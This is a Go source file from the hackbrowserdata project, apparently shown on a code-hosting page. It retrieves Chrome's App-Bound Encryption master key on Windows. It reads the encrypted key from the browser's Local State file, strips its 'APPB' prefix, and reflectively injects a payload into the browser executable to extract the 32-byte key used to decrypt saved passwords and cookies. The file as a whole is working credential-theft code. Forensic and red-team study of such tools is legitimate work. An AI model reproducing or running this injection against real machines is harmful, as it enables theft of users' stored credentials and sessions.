Files

99 lines
2.4 KiB
Go

//go:build windows
package keyretriever
import (
"encoding/base64"
"errors"
"fmt"
"os"
"strings"
"github.com/tidwall/gjson"
"github.com/moond4rk/hackbrowserdata/crypto/windows/payload"
"github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/utils/injector"
"github.com/moond4rk/hackbrowserdata/utils/winutil"
)
const envEncKeyB64 = "HBD_ABE_ENC_B64"
var appbPrefix = []byte{'A', 'P', 'P', 'B'}
var errNoABEKey = errors.New("abe: Local State has no app_bound_encrypted_key")
type ABERetriever struct{}
func (r *ABERetriever) RetrieveKey(hints Hints) ([]byte, error) {
// Non-ABE forks (Opera/Vivaldi/Yandex) supply no WindowsABEKey — treat as "not applicable".
// (Pre-v20 Chrome takes the errNoABEKey path below.)
browserKey := strings.TrimSpace(hints.WindowsABEKey)
if browserKey == "" {
return nil, nil
}
encKey, err := loadEncryptedKey(hints.LocalStatePath)
if errors.Is(err, errNoABEKey) {
return nil, nil
}
if err != nil {
return nil, err
}
pl, err := payload.Get("amd64")
if err != nil {
return nil, fmt.Errorf("abe: %w", err)
}
exePath, err := winutil.ExecutablePath(browserKey)
if err != nil {
return nil, fmt.Errorf("abe: %w", err)
}
env := map[string]string{
envEncKeyB64: base64.StdEncoding.EncodeToString(encKey),
}
inj := &injector.Reflective{}
key, err := inj.Inject(exePath, pl, env)
if err != nil {
return nil, fmt.Errorf("abe: inject into %s: %w", exePath, err)
}
if len(key) != 32 {
return nil, fmt.Errorf("abe: unexpected key length %d (want 32)", len(key))
}
log.Infof("abe: retrieved %s master key via reflective injection", browserKey)
return key, nil
}
func loadEncryptedKey(localStatePath string) ([]byte, error) {
if localStatePath == "" {
return nil, errNoABEKey
}
data, err := os.ReadFile(localStatePath)
if err != nil {
return nil, fmt.Errorf("abe: read Local State: %w", err)
}
raw := gjson.GetBytes(data, "os_crypt.app_bound_encrypted_key")
if !raw.Exists() {
return nil, errNoABEKey
}
decoded, err := base64.StdEncoding.DecodeString(raw.String())
if err != nil {
return nil, fmt.Errorf("abe: base64 decode: %w", err)
}
if len(decoded) <= len(appbPrefix) {
return nil, fmt.Errorf("abe: encrypted key too short: %d bytes", len(decoded))
}
for i, b := range appbPrefix {
if decoded[i] != b {
return nil, fmt.Errorf("abe: unexpected prefix: got %q, want %q",
decoded[:len(appbPrefix)], appbPrefix)
}
}
return decoded[len(appbPrefix):], nil
}